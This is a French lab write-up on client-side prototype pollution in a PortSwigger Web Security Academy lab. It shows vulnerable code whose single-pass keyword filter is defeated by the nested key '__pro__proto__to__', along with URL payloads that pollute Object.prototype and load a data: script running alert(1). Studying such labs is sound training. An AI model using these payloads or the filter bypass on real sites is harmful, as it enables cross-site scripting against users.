> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Pollution du prototype côté client via une désinfection défaillante

Notes sur la pollution du prototype côté client via une désinfection défaillante pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Pollution du prototype côté client via une sanitisation défectueuse

#### (1) Contexte et idée générale

L'application lit les paramètres de l'URL puis les transforme en objet JavaScript via `deparam(...)`:

* Elle construit `config = { params: deparam(...) }`
* Puis elle utilise `config.transport_url` pour charger un `<script src="...">`

Pour éviter la pollution du prototype, les développeurs ont ajouté `sanitizeKey()` qui supprime les sous-chaînes suivantes dans les clés : `constructor`, `__proto__`, `prototype`.

Problème : cette sanitisation n'est qu'un simple **replaceAll**. Si **coupez** le mot interdit en morceaux, après remplacement il peut **se reconstituer**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Source : contourner le filtre et polluer `Object.prototype`

Le filtre supprime `__proto__` s'il est présent tel quel. / Il est reconstruit en plaçant `__proto__` **au milieu** d'une clé plus grande, de sorte qu'après suppression, la clé finale devienne exactement `__proto__`.

Charge utile :

```javascript
?__pro__proto__to__[foo]=bar
```

Après sanitisation :

* `__pro__proto__to__` → (suppression de `__proto__`) → `__proto__`

Donc c'est comme :

* `?__proto__[foo]=bar` -> pollution globale du prototype

Vérifiez dans la console :

```javascript
console.log({}.foo)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-546fe8d5be3955db7a0141ecbd6987dfef057fc0%2Fimage%20(120).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Exploit final : déclencher `alert()`

`transport_url` est pollué avec un `schéma data :` qui exécute du JS lorsque le script est chargé :

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d617c524d392efe065d704bfad6d18c35226c81%2Fimage%20(121).png?alt=media" alt=""><figcaption></figcaption></figure>


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